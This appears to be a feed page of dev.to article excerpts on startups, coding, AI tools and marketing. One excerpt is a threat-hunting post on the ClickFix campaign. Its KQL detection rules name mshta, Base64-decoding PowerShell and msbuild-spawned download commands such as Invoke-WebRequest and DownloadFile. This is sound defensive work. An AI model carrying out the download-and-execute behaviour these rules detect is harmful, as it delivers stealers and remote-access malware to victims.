    Exploring funded brick-and-mortar companies on Wefunder isn’t easy, so I asked Replit Agent to build a map and see how much time AI could save me versus doing it manually. In about 3 hours and for roughly $22, it produced a fully searchable map of funded companies. Most of the cost came from the Agent inefficiently debugging an API integration and unnecessary reloads. If I had built it myself, it probably would’ve taken 4–5 hours to design, build, test, and deploy. Check out the code or explore the map below: Repo: 🔗 Wefunder Brick & Mortar App by kenakingkong on Replit Demo: 🔗 wefunder-brick-and-mortar-map.replit.app Keep reading for a full breakdown of what worked, what didn’t, and where AI saved time versus where it didn’t. Wefunder has thousands of funded companies, but the only way…  ( 8 min )
    🚀 How to Create My Startup? (A Developer-Friendly Guide)
    🎯 Step 0 — Validate the Problem Before you touch a line of code. Checklist: Can you describe the problem in one sentence? Have you talked to real humans with this problem? Are they already solving it with Excel / Notion / duct tape? Would they pay for a better solution? If yes → continue. If no → stop coding. Your MVP is not v1.0 — it's an experiment. Rules: One core feature One user flow Zero optional settings As little code as possible If you’re building microservices for an MVP — you're doing it wrong. Dev brain says: “Let me polish this 3 more weeks…” Ignore it. Announce your MVP in: Twitter/X Reddit Dev.to 😏 IndieHackers Niche communities Private Discord/Slack groups You aren’t launching a product — you're launching a conversation with users. Collect: Where users drop off What they click What confuses them What they expected to happen What they tried but couldn't do Then: Fix the biggest blockers Kill unused features Add what users repeatedly request Charging money early is not greedy — it's validation. Try: Beta pricing Preorders Founding users plan Usage-based billing Monthly subscriptions If people pay → real problem. If they don't → hobby project. Only after users ask for: Teams support API access Features in your backlog Reliability & uptime Then: Architect properly Add monitoring Set up CI/CD Secure the system Think about DB scaling Don’t start here — finish here. Don’t fall in love with code — fall in love with the problem Speed > Perfection User feedback > Your intuition Simple > Beautiful Done > Perfect Launch → Learn → Iterate → Repeat Go build it. 🚀  ( 7 min )
    Mastering Python Strings: More Than Just Text
    You’ve seen it a thousand times. You pull data from an API, scrape a webpage, or process a user submission, and what you get is a chaotic mess of text. Inconsistent capitalization, unwanted whitespace, jumbled formats—it’s the digital equivalent of a tangled ball of yarn. In the era of large language models and data-driven everything, our ability to expertly untangle and reshape this textual data is no longer a niche skill; it’s a foundational pillar of building intelligent, robust software. Python, with its design philosophy emphasizing readability and power, offers a superior toolkit for this very challenge. But mastering its str type goes beyond knowing how to declare a variable. It’s about understanding the subtle mechanics of immutability, the efficiency of different manipulation tech…  ( 12 min )
    Linen Layout
    Advent of Code 2024 Day 19 Part 1 This may be...like...really tricky The way I see it: I'm given a list of substrings And a list of long strings that contain many of the substrings, often the same one multiple times I have to match every character in a long string to some part or whole of the substrings Only when every character matches is the long string valid If even one character doesn't match, the long string is invalid The example's first desired design offers a glimpse at how complicated this process could be: r, wr, b, g, bwu, rb, gb, br brwrr Let's say I catalogued the patterns by their length: { 1: [r,b,g], 2: [wr,rb,gb,br], 3: [bwu] } The max length of a pattern is three, so I should never try to match more than three characters at a time. T…  ( 19 min )
    A Practical Guide to Profiling & Optimizing React Applications for Peak Performance 🚀
    Modern React applications are more powerful than ever—but that power comes at a cost. As components grow, data flows become complex, and user expectations rise, performance quickly becomes a critical success factor. Slow rendering, heavy bundles, and inefficient state updates don’t just affect metrics—they directly impact user satisfaction and business outcomes. Profiling and optimization are no longer optional skills; they’re essential for every frontend engineer building scalable, production-grade React apps. This guide provides a structured, hands-on walkthrough of how to identify performance bottlenecks, understand what metrics matter, and apply effective optimization strategies using modern React APIs and tooling. React’s declarative nature simplifies UI development—but it also masks …  ( 9 min )
    Reading Between the Lines: How Leaders Build Emotional Intelligence One Page (or Episode) at a Time
    The capacity to perceive and manage emotions separates competent managers from truly impactful leaders. This attribute, often termed emotional intelligence, is an invisible but profound source of influence within a business. It extends beyond technical skill and cognitive sharpness, resting instead on a leader’s ability to connect with and motivate people through shared understanding. The development of such sensitivity is not a sudden epiphany but a gradual process of exposure and introspection. A powerful method for cultivating growth is through consistent, thoughtful engagement with narrative and expert analysis, primarily found in literature and modern audio content. One of the central functions of literature is to provide simulated experience without real-world risk. By entering the n…  ( 10 min )
    API Reference
    Am I alone when I noticed that CakePHP API reference doesn't show class ancestor tree and implemented interfaces in each class page? 😮😮😮😮😮  ( 5 min )
    Making code fun again: An introduction to code golf
    Most programmers know about platforms like LeetCode, HackerRank, or Codeforces, and likely know the thrill of solving problems under constraints: time limits, memory budgets, edge cases, and algorithmic cleverness. But an elite few know about a different kind of challenge: quirky, creative, and surprisingly addictive: Code Golf. There are many places to play code golf. You probably have encountered Code Golf Stack Exchange in the sidebar on stack overflow, and the very competitive Code.golf. There are also smaller platforms like Byte Heist. (Disclaimer: I am affiliated with Byte Heist) In competitive coding, you usually optimize for speed or correctness. Your mission: It's two layers of puzzle: Your solution must work, but you must also contort and re-imagine it until it barely resembles t…  ( 9 min )
    Nested Loop and Hash Join for MongoDB $lookup
    SQL databases offer several join algorithms. The query planner selects the most efficient one by evaluating cardinality and estimated cost. For example, a Nested Loop join is ideal when the outer table has few rows and an index allows fast access to the inner table. In contrast, a Hash Join is better suited for situations where the outer table contains many rows and the inner table must be fully scanned, resulting in fewer costly loops. While MongoDB provides similar algorithms, adapted to flexible documents, being a NoSQL database means it shifts more responsibility to the developer. Developers must design for optimal data access, already in the data model, but has the advantage of resulting in more predictable performance. I'll base my example on a question on Reddit: Optimizing a MongoD…  ( 11 min )
    I Thought Low Pricing Would Be My Startup’s Advantage — Turns Out It Doesn’t Work That Way
    Hi everyone! 👋 My name is Serhii. I’m a .NET developer with 6+ years of experience and the founder of TaskJect (https://taskject.com) — a lightweight project-management tool built for small technical teams. Here on Dev.to I’ll be sharing the technical journey behind building TaskJect, lessons from running a small SaaS as a solo founder, and practical insights from real .NET development in production. Today, I want to talk about low pricing of SaaS services. How Is the Price Actually Formed? I keep asking myself this from time to time — especially when I look for a new tool and the price instantly turns me away. When I started building my own product, I set a goal to define a “minimum acceptable price” for users. Here’s what I mean by that as a technical specialist: Infrastructure You need to calculate exactly how many hardware resources one user consumes: servers, storage, databases, backups, monitoring — all of this forms the baseline cost. Technical Maintenance You need at least one engineer who will: handle system errors, maintain stability, ensure uptime, updates, and security. Technically, that’s all you need for a stable SaaS. So in theory, the final price could be quite low. But Here’s the Reality: Why “Cheap SaaS” Becomes a Problem ❗ 1. The market distrusts very low prices If it’s too cheap, people assume it’s a scam or an unstable product. There’s a psychological trust threshold. ❗ 2. Competition makes everything more expensive Getting user attention is the biggest hidden cost. And who wins this competition? The companies that can spend more and they can spend more because they earn more. In the end, there’s a paradox: Technically, SaaS could be cheap — but the market and competition push prices up.  ( 6 min )
    Gen AI para potenciar DevOps: ideas clave de mi participación como speaker en AWS Community Day Bolivia
    Este año tuve la oportunidad de participar en el AWS community day Bolivia, la solo fue una presentación técnica… fue basado en mi experiencia profesional y la forma de ver el rol DevOps hoy. ¿Por qué hablar de esto? Inspirandome en charlas del AWS RE:Invent 2024 nació mi charla No solo hable de herramientas, quería mostrar como estamos entrando en una etapa, done la IA ya es parte de nuestro día a día. El Camino hasta DevOps Seguridad.- Asegurarnos que nuestra aplicación no sea vulnerable Automatización CI/CD IaC Testing & monitoring Version control Feedback loops La IA Generativa como nueva etapa de DevOps ✅ Integración Continua: Reducción de distracciones para desarrolladores.- A veces nos cuesta entender los requerimientos que están en JIRA u otra app similar, aca podemos apoyarnos en…  ( 7 min )
    How to track Claude Code usage + analytics
    Now that you’ve gotten into the habit of working with Claude Code, you’re probably curious to see how efficiently you’re using it. For example, do you know how many tokens it’s taking you to complete a ticket on average? Since Claude tokens can run out and will reset after 5 hours, you might want to see how much you’re pushing it to the limit. We’ve tried three different ways to track our Claude Code usage. Here’s what we found. If you’re using the Anthropic API for Claude Code access (instead of through a Pro or Max plan), you can track your usage through the Anthropic Console. This is useful for devs and orgs who are doing the “pay as you go” approach, because your number of tokens consumed is directly correlated to how much you’re spending. If you’re a manager, you can see usage trends …  ( 8 min )
    KI zeigt nicht die Zukunft des Marketings. Sie zeigt den Zustand der Branche.
    KI zeigt nicht die Zukunft des B2B-Marketings. Sie zeigt, wie schwach es bisher war. Viele diskutieren darüber, ob KI das Marketing übernimmt. Ob Texter verschwinden. Ob Content wertlos wird. Die Wahrheit ist einfacher: KI ersetzt nicht das Marketing. KI ersetzt Marketing ohne Haltung. Die meisten B2B-Websites klingen identisch. „führend“ „innovativ“ „zuverlässig“ „maßgeschneidert“ Das sind keine Aussagen, das ist Verpackung. KI klingt nicht künstlich. Viele Unternehmen tun es. Und KI zeigt diesen Zustand jetzt ungeschönt. KI kann: strukturieren zusammenfassen erweitern glätten Was KI nicht kann: Position beziehen Risiko tragen Verantwortung übernehmen mutige Aussagen treffen Alles, was schon vorher wie Fließbandarbeit war, wirkt jetzt ersetzbar – weil es das ist. B2B entscheidet nicht wegen eines Posts. Auch nicht wegen 20. B2B entscheidet wegen: Vertrauen Expertise Klarheit Risikominimierung KI kann Text erzeugen. Aber KI kann keine Überzeugung erzeugen. Wenn ein Unternehmen unklar kommuniziert: KI skaliert Unklarheit. Wenn ein Unternehmen klare Aussagen trifft: KI skaliert Klarheit. Damit entstehen zwei Arten von Marken: Wer sagt, was Sache ist, wird durch KI stärker. Wer austauschbar klingt, wird durch KI noch austauschbarer. Sondern: „Was haben wir überhaupt zu sagen?“ Ein Unternehmen ohne Klarheit bekommt auch mit KI keine. Ein Unternehmen ohne klare Kundensprache bekommt auch mit Prompts keinen Tonfall. Technologie ohne Haltung ist ein Lautsprecher ohne Botschaft. KI wird Milliarden Texte produzieren. Viele davon „gut“. Nur wenige davon wirkungsvoll. KI beendet nicht die Kreativität. KI beendet die Ausreden. Wer Beispiele für klare Sprache im B2B sucht: https://plainrebels.com  ( 7 min )
    LuminoraCore v1.1: Your AI Memory That Actually Travels 🧠✨
    TL;DR: I built an open-source framework that gives AI persistent memory across platforms. Your ChatGPT conversations can inform Claude, your Claude chats can continue in Gemini. True data portability, privacy-first. Watch how memory persists when switching between ChatGPT, Claude, and other LLMs We've all been there: ChatGPT forgets your conversation from yesterday Claude doesn't know what you discussed with ChatGPT Gemini starts fresh every time Your data is locked to each platform Export options? LOL, good luck I was frustrated. I wanted my AI to remember me, know my preferences, and travel with me across platforms. So I built LuminoraCore. LuminoraCore isn't about building yet another chatbot. It's about creating portable AI identities that persist across: 🔄 Any LLM provider (OpenA…  ( 10 min )
    Hunting TTPs for the EVALUSION ClickFix Campaign Delivering Amatera Stealer & NetSupport RAT
    While investigating potential exposure to the recently reported EVALUSION ClickFix campaign, which abuses user-interaction-driven execution via the Win + R Run dialog, I focused on identifying suspicious execution patterns aligned with delivery behavior observed in the campaign. This campaign ultimately deploys Amatera Stealer and NetSupport RAT through a .NET-based downloader delivered from public file-sharing platforms. Detection #1 , Detect suspicious user-initiated execution via the Run dialog (Win + R) where the attacker abuses RunMRU registry key updates to execute payloads such as PowerShell or MSHTA — a core TTP observed in the ClickFix EVALUSION campaign DeviceRegistryEvents //| project Process_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName ,ProcessCommandLine Detection #2 – Suspicious mshta.exe Execution DeviceProcessEvents Detection #3 – Detect potentially malicious PowerShell execution DeviceProcessEvents (From.*Base64)." // Base64 payload decoding Detection #4 – This detection identifies cases where a file is downloaded from MediaFire—a file-hosting platform frequently abused by threat actors—and correlates it with suspicious PowerShell execution occurring within 10 seconds of the download event. DeviceFileEvents (From.*Base64)." Detection #5 – MSBuild-Spawned PowerShell Download Activity DeviceProcessEvents | where InitiatingProcessFileName =~ "msbuild.exe" | where FileName in~ ("powershell.exe","pwsh.exe") | where ProcessCommandLine has_any ("Invoke-WebRequest","DownloadFile","http","https","-enc","FromBase64String") | project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName  ( 7 min )
    How we built Hermes - a military-grade encryption tool that's ready for the quantum computing era
    The Problem That Kept Me Up at Night Here's something that doesn't get talked about enough: your encrypted data today could be decrypted tomorrow. It's called "harvest now, decrypt later" - adversaries are collecting encrypted communications right now, waiting for quantum computers powerful enough to break RSA and ECC. When that day comes (and cryptographers say it's not if, but when), all that data becomes readable. That thought led me to build Hermes - a secure file transfer system that's designed to survive the quantum apocalypse. Hermes is a command-line tool (and now web UI!) for secure file transfer that combines: RSA-4096 (battle-tested classical encryption) Kyber-1024 (NIST-selected post-quantum algorithm) Dilithium-5 (post-quantum digital signatures) AES-256-GCM (symmetric encry…  ( 10 min )
    Setup Hashicorp Vault + Vault Agent on Docker Compose
    Files First create a directory for put the config files, i will put in /opt/vault Create the docker-compose.yml services: init_vault: image: alpine:latest container_name: init_vault group_add: - 3001 volumes: - vault-data:/vault/data:rw - certs:/tmp/certs/:rw - secrets:/secrets:rw command: > /bin/sh -c "apk add --no-cache openssl && \ openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \ -nodes -keyout /tmp/certs/vault-key.pem -out /tmp/certs/vault-cert.pem \ -subj '/CN=vault' \ -addext 'subjectAltName=DNS:vault,IP:127.0.0.1' && \ chown -R 100:3001 /vault/ /tmp/certs /secrets && \ chmod -R 0750 /secrets/ && \ exit 0" vault: image: "hashicorp/vault:latest" restart: unless-stopped …  ( 10 min )
    🚀 I just built Datana - a secure local database system!
    Hey dev community! 👋 I'm excited to share Datana - a project I've been passionately working on that brings enterprise-level security to local database management. In a world where data breaches are daily news, I wanted to create something that gives developers and organizations complete control over their sensitive data. No cloud dependencies, no third-party risks - just pure, secure local storage. Datana is a secure, terminal-based database system that doesn't compromise on security or features. Think of it as your own personal vault for sensitive data. python from cryptography.fernet import Fernet from core.config_manager import get_encryption_key key = get_encryption_key() fernet = Fernet(key) encrypted_data = fernet.encrypt(sensitive_data) Clone and setup git clone https://github.com/ashkanmirgomari/datana.git cd datana pip install -r requirements.txt # 2. Run (first time creates default users) python project.py # 3. Login with: # Username: root # Password: root Progress Animations: Beautiful loading bars for all operations Advanced Search: Regex, date ranges, field-specific queries Auto-backup: Configurable automatic encrypted backups System Analytics: Real-time monitoring and reporting Export Capabilities: CSV exports with custom formatting This is just the beginning! I'd love to: Hear your feature suggestions Get security audits from the community See forks for specific use cases Collaborate on enterprise features Check out the GitHub repo and let me know what you think! ⭐ GitHub: https://github.com/ashkanmirgomari/datana Would love to hear your thoughts, suggestions, and use cases! What features would you add? 🔥  ( 6 min )
    The CRO Test That Killed Our Best-Performing Page (And What We Learned)
    We decreased conversions by 34% in a single afternoon. Not the headline you typically see in conversion rate optimization case studies, is it? Most articles promise 10x growth with three simple button color changes. (Spoiler: that's not how any of this works.) But here's what happened, and more importantly, what it taught us about CRO that actually matters in 2025. The page in question was converting at 8.2%—solid for a mid-funnel resource. Someone on the team suggested we "optimize" it with a more prominent CTA, cleaner design, and some urgency language. Classic CRO playbook stuff. We ran the test. Conversions tanked. Turns out, people were using that page as a research tool. They'd bookmark it, share it with colleagues, come back multiple times. Our "optimization" turned a useful resour…  ( 12 min )
    That's what I was missing. Must-read for developers that want to build a solid software!
    Clean architecture with Next.js Daniel Malek ・ Aug 5 '24 #nextjs #cleancode #architecture #javascript  ( 6 min )
    Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud)
    The Complete Guide: Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud) Introduction Part 1: Connecting to Local PostgreSQL Prerequisites Step 1: Install PostgreSQL ODBC Driver Go to ODBC Data Sources in Windows Search Check if PostgreSQL Unicode or PostgreSQL ANSI driver exist If missing, download from: link # Official PostgreSQL ODBC driver https://www.postgresql.org/ftp/odbc/versions/ Step 2: Power BI Connection Setup Open Power BI Desktop Click Get Data → More... Select Database → PostgreSQL database Click Connect Step 3: Configure Connection Parameters Fill in your local PostgreSQL details: text Server: localhost Database: your_database_name Username: your_username Password: your_password Step 4: Data Preview and Load Select tables or write custom SQL P…  ( 8 min )
    Build Confidence in n8n. Your Entry Point to AI Driven Automations
    If you work with automation or you are exploring how to orchestrate tasks across different services, n8n is one of the most flexible tools you can start with. It is built around the idea of connecting systems, transforming data, triggering events, and even running agent style logic that reacts intelligently to inputs. You get a visual editor that represents each step clearly, but you still have full access to expressions, custom code, and advanced control over how your data flows. Because of this, n8n is useful for both simple workflows and more complex automation patterns. You can build integrations, background jobs, data pipelines, and small autonomous agents that make decisions without your involvement. In this guide we will create a small but practical workflow. It collects user input …  ( 8 min )
    PPC in 2025: Why Your Ad Budget Is Probably Funding Someone Else's Mistakes
    I spent an hour last week reviewing a client's Google Ads account. They'd burned through $18,000 in three months with exactly seven conversions to show for it. The kicker? Their previous agency had called this "building momentum." Welcome to PPC in 2025, where the platforms have never been more sophisticated and the opportunities to waste money have never been more creative. Look, paid advertising still works. But the gap between what works and what agencies sell you has turned into a canyon. The automation is better, the targeting is (theoretically) smarter, and somehow campaigns are harder to manage than ever. Let's talk about what's actually happening with your ad spend. Google and Meta want you to believe their AI can handle everything. Just set it and forget it, right? Wrong. Here's w…  ( 11 min )
    Why I Started Paying Attention to the Small Stuff Again
    For a long time, I walked around like my brain was somewhere else. You know that feeling where you’re doing everything on autopilot? That was basically my whole routine. Wake up. Work. Eat something random. Zone out. Sleep. Repeat. Nothing felt interesting, and I didn’t notice much around me anymore. I’d miss little things all the time because I just wasn’t really there, even when I was. Then one night, I was sitting at my desk after a long day, and I realized I’d been staring at the same pen for like twenty minutes. Not even thinking about it. Just looking at it without really seeing it. I picked it up and started rolling it in my hand. I don’t know what made me grab my sketchbook, but I did. I figured drawing the pen would at least give my brain something to chew on. The drawing came out…  ( 12 min )
    Exploring Git by Building My Own Minimal Version Control System
    I’ve used Git every day for years, but I realized I never really knew what happens behind the scenes. How does Git track changes? What does a commit actually store? How do branches and merges work internally? To answer these questions, I decided to build my own minimal Git clone from scratch — a small, hands-on project I call GitLite. Instead of just reading about Git’s architecture, I wanted to experience it: implement the core mechanics myself, experiment with commits, branches, merges, and see exactly how Git organizes its data. GitLite supports a simplified Git workflow: Staging files in a basic index Creating commits that capture snapshots and history Managing branches as simple pointers to commits Switching between branches Performing fast-forward merges Inspecting commit history and repository status The project is educational, not meant for real-world use. But building it helped me understand Git in a concrete, practical way — far beyond what tutorials or documentation can show. I also documented every step, so anyone interested can follow along and try it themselves. 🧩 GitLite repository and documentation: https://github.com/ironrinox/git-lite If you’ve ever wondered how Git really works, this project is a hands-on way to explore it.  ( 6 min )
    Build a Calorie Estimation App With Vision Agents
    Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )
    How to Generate Video Schema for Any YouTube Video Automatically
    Video-rich content performs incredibly well in Google, but there’s one thing most creators forget: search engines can’t fully understand your embedded videos unless you give them structured data. That’s where VideoObject schema comes in. It tells Google details like: Video title Description Thumbnail Duration Upload date Embed URL If you’ve ever wondered why some videos appear with rich snippets and others don’t, schema markup is usually the difference. In this tutorial, I’ll show you how to generate video schema automatically from any YouTube link. No coding. No manual formatting. No JSON headaches. We’ll use a free generator that fetches metadata instantly and outputs clean JSON-LD you can paste directly into your website. Google treats videos as a separate content type. If your page inc…  ( 8 min )
    How to SSH Into a VirtualBox Ubuntu VM From Windows - Password Authentication (Step-By-Step Guide)
    If you're running Ubuntu in VirtualBox on Windows and want to SSH into it from your Windows terminal - this guide walks you through everything clearly. This is perfect if you want to: Practice Linux server administration Access your VM like a remote machine Simulate multiple user sessions Run commands from Windows without using the VM window Let’s get started. Open your Ubuntu terminal and switch to root (optional but convenient): sudo -i Install the SSH server: apt install openssh-server Check whether SSH server is running: systemctl status ssh If you see "active (running)", you're good. SSH sometimes disables password login by default. Open the SSH server config: nano /etc/ssh/sshd_config Find this line: #PasswordAuthentication no Change it to: Pas…  ( 7 min )
    How to Successfully Migrate Your App with an AI Agent
    "Migrate my app from x language to y language." You hit enter, watch your AI agent spin its wheels, and eventually every success story you've heard feels like a carefully orchestrated lie. Most failures have less to do with the agent's capability and more to do with poor prompt and context strategy. Think about it: if someone dropped you into a complex, unfamiliar codebase and said "migrate this," you'd be lost without a plan. You'd need to explore the code, ask questions about its structure, and break the work into manageable steps. Your AI agent needs the same approach: guided exploration, strategic questions, and decomposed tasks. I recently put this approach into practice with goose, migrating a legacy LLM credit provisioning system split across two repositories (React/Vite frontend an…  ( 11 min )
    Looking for Advice as a Junior Fullstack Developer
    Looking for Advice as a Junior Fullstack Developer (Java, Node.js, React) Hi everyone 👋, My name is Alejandro Tacoronte, and I completed my (Cross-Platform Application Development) studies in 2024. I’m currently looking to grow as a junior fullstack developer and would love to get advice from those with experience in the industry. I have experience and knowledge in: Backend: Java and Node.js Frontend: Some experience with React Databases: SQL Version Control: Git I’ve worked on projects during my studies and internships, and now I want to build my own projects that demonstrate my skills and ability to learn. 💡 I’d love to ask the community: What “mini projects” would you recommend for a junior fullstack developer to stand out? Which technologies or frameworks are most relevant in 2025? Any advice on how to showcase skills effectively, even without years of professional experience? I’d greatly appreciate any tips, resources, or personal experiences. 🙏 Thanks for reading! I’m looking forward to sharing my progress and learning alongside you all.  ( 6 min )
    On-Device AI with the Google Chrome Prompt API
    Unless you’ve been living under a rock, it’s hard to miss the rise of Generative AI. At the centre of this movement are Large Language Models (LLMs) such as Google’s Gemini and OpenAI’s ChatGPT. Typically, building solutions around these models involves sending data to their APIs and receiving a response. But not everyone is comfortable with this approach. Concerns around privacy, trust, legal compliance, and governance often arise. This is where on-device AI comes in: data is processed locally, addressing most of these issues. In this article, we’ll explore how to use the Chrome On-Device Prompt API to process data locally. This is the first in a series of articles covering Chrome’s on-device AI capabilities. Make sure you’re running the latest version of Chrome (currently version 142). T…  ( 8 min )
    Generative AI: What It Is, Why It Matters Now, And How To Put It To Work
    Generative AI is more than another technology buzzword. It marks a structural shift in how organizations use machines: from systems that mostly analyze existing data to systems that can create new content—text, images, audio, video, code, and even synthetic datasets. Generative AI can also draft the email to the customer, produce the visuals for the campaign, generate the code change, or simulate thousands of edge cases for testing. Instead of sitting at the end of a data pipeline as an afterthought, it is becoming a core production layer that accelerates content creation, decision-making, and product iteration across the business. For leaders, this means generative AI should not be treated as a novelty or a marketing gimmick. It should be viewed as an engine for efficiency and differentia…  ( 9 min )
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    frameit.dev - fast and free video thumbs, title cards and OG images Ed Spencer ・ Nov 17 #opensource #frameit #react #typescript  ( 5 min )
    The Shift Towards Agentic AI: What It Means for Developers
    The Shift Towards Agentic AI: What It Means for Developers Let's cut through the hype: agentic AI isn't some distant future concept anymore. By mid-2025, we're seeing a clear shift from experimental prototypes to production systems that actually ship. But here's the reality check—developers remain cautious, and for good reason. Quality concerns and trust issues are real obstacles we need to address. The question isn't whether agentic AI will transform development workflows—it already is. The question is: how do we implement it pragmatically, without falling into the trap of over-engineering or blindly trusting autonomous systems? The difference between 2024's experimental agents and 2025's production systems comes down to maturity. Forward-thinking companies are now using agentic AI to a…  ( 11 min )
    🍕 Eat-N-Split Day 2: Adding Friends & Toggling the Form
    Today I continued my Eat-N-Split course project in React — and it was a fun one! opening/closing the Add Friend form and rendering newly added friends dynamically. The main goal of Day 2 was: Show and hide the “Add Friend” form when the user clicks a button. Add a new friend to the list and update the UI instantly. This is a perfect example of React state in action. I used a simple boolean state to toggle the form visibility: const [friendFormIsOpen, setFriendFormIsOpen] = useState(false); And a button that flips it: setFriendFormIsOpen(show => !show)}> {friendFormIsOpen ? "Close" : "Add Friend"} 💡 Fun thing: This tiny little line of code lets you open and close the form with one button. No rocket science, just React magic. ✨ When a new friend is submitted: A new friend object is created with a unique ID, name, image, and a default balance. Then I update the friends state: setFriends(friends => [...friends, newFriend]); The cool part? React instantly re-renders the UI with the new friend without refreshing the page. 🪄 useState is your best friend — literally! Toggling things with a boolean is satisfying. Flip → show, Flip → hide. Adding items to an array in React is as simple as spreading the old array and adding the new item. Watching the new friend appear on the list feels like magic every time. ✨ Tomorrow (or next session), I’ll focus on: Splitting a bill with a selected friend Handling the calculation of balances dynamically Making the app fully interactive  ( 6 min )
    La Ley Federal de Prevención e Identificación de Operaciones
    La Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI ha experimentado reformas en 2025, que abordan la prevención y el monitoreo de lavado de dinero y financiamiento del terrorismo. Una de las novedades más relevantes se refiere al monitoreo transaccional de operaciones financieras con el uso de Inteligencia Artificial (IA) y Aprendizaje Automático (ML). De acuerdo con la reforma, los sujetos obligados (como bancos, casas de cambio y otras entidades financieras) deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar y detectar operaciones sospechosas. Esto se traduce en la necesidad de contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. En este contexto, es relevante mencionar la plataforma de IA AML de TarantulaHawk.ai, que ofrece soluciones de monitoreo transaccional eficaces y escalables para sujetos obligados. Con su plataforma SaaS, es posible realizar un monitoreo más preciso y eficiente de operaciones financieras, lo que reduce el riesgo de incumplimiento y mejora la gestión de riesgos. Implicaciones prácticas para sujetos obligados: Deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar operaciones sospechosas. Requirirán contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. Mejorarán su gestión de riesgos y reducirán el riesgo de incumplimiento. Es importante destacar que la implementación de estas soluciones requiere un enfoque responsable y ético, asegurando que la IA y el ML sean utilizados de manera transparente y justa, respetando la privacidad y derechos de los usuarios. Publicado automáticamente  ( 6 min )
    n8n Web Scraping || Part 2: Pagination, Infinite Scroll, Network Capture & More
    This is Part 2 of our n8n web scraping series with Zyte API. If you’re new here, check out Part 1 first, it covers the basics: fetching pages, extracting HTML with the HTML node, cleaning + normalizing results, & exporting CSV/JSON. Pagination Infinite Scroll Geolocation support Screenshots from browser rendering Capturing network requests Handling cookies, sessions, headers & IP type In this part, we’ll explore some important scraping practices and nodes, along with a few hands on tricks that make your web scraping journey smoother. Everything you learn here will also lay the foundation for our 3rd & final part, where we will build a universal scraper capable of scraping any website with minimal configuration. Let’s start by taking the same workflow we built in Part 1, & extend it. Beginn…  ( 12 min )
    **A Tale of Two Frameworks: Declarative vs
    A Tale of Two Frameworks: Declarative vs. Imperative AI As AI continues to advance, autonomous systems have become increasingly sophisticated, with various approaches vying for dominance. In this article, we'll delve into two prominent frameworks: Declarative and Imperative AI. We'll compare their strengths, weaknesses, and real-world applications, ultimately taking a stance on which approach is more effective. Declarative AI: The Knowledge-based Approach Declarative AI, also known as knowledge-based systems, is a declarative programming paradigm that focuses on defining the desired outcome rather than specifying how to achieve it. This approach is based on formal logic and knowledge representation, where the system's behavior is determined by its beliefs about the world. Think of it as pr…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Rundown In the latest Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s 1998 thriller Snake Eyes. They unpack Nic Cage’s undercover ballpark espionage, Gary Sinise’s corrupt-cop swagger, and Carla Gugino’s femme-fatale flair. Self-dubbing themselves the “kings of the sewer,” the trio gleefully dissects De Palma’s signature camera moves, plot twists, and the film’s over-the-top ’90s energy. Watch on YouTube  ( 6 min )
    Event-Driven Updates with ThingsDB
    In the world of real-time applications, delivering instantaneous updates to users is foundational. From collaborative documents to live chat applications, the ability to instantly reflect changes across all connected clients can make or break the user experience. ThingsDB, with its robust event-driven architecture, offers a powerful solution for achieving this. Traditionally, implementing event-driven updates in a real-time application, like a chat room, often followed a pattern that could lead to unnecessary complexity. Let's break down the classic approach and then explore how ThingsDB's new "emit to peers only" feature simplifies this process. Imagine a simple chat application. When a user sends a message, the desired flow is that the message appears instantly on the users screen, and v…  ( 7 min )
    **The Multimodal AI Blind Spot: Integrating Sensory Feedback
    The Multimodal AI Blind Spot: Integrating Sensory Feedback from Wearable Devices Multimodal AI, which combines multiple sources of data such as images, speech, text, and gestures, has revolutionized human-computer interaction. However, there's a growing trend that's often overlooked: integrating sensory feedback from wearable devices into multimodal AI systems. Think about it: wearable devices like smartwatches and fitness trackers can provide valuable insights into a user's physical and emotional state, such as heart rate, skin conductance, and muscle activity. By incorporating these signals into multimodal AI, we can create more empathetic and anticipatory interactions. For instance, imagine a conversational AI that not only responds to a user's speech but also takes into account their physiological signals. If the user is stressed, the AI can adjust its tone and pace to provide more soothing responses. If the user is physically active, the AI can provide sports-related suggestions or recommendations. The takeaway: Wearable devices can serve as a new sensor modality for multimodal AI, enabling more context-aware and empathetic interactions. By exploring the potential of wearable data, we can push the boundaries of human-AI collaboration and unlock new possibilities for applications like healthcare, education, and customer service. Publicado automáticamente  ( 6 min )
    Job roles are merging faster than ever before
    This was a fun conversation with Ryan J. Salva Senior Director of Product at Google Cloud, the brains behind Gemini CLI and Gemini Code Assist. We talked about Agents, Agentic Workflows, autonomous cars, industry trends in AI, and how job roles slowly merging, he explained me on how his team at Google is solving and improving the overall developer experience through CLI and Code Assist. Azim Shaik : The one analogy that I really liked is the four stage analogy on how autonomous cars are compared to the AI development that’s happening. Ryan J. Salva : You’ve likely heard of the five stages of autonomous driving. Conceptualized years ago by companies like Apple and Tesla, this framework describes the progression from a car that offers simple lane assistance (Stage 1) to one where you are ju…  ( 12 min )
    Turn Past Data into Future Insights: Forecasting with Tableau
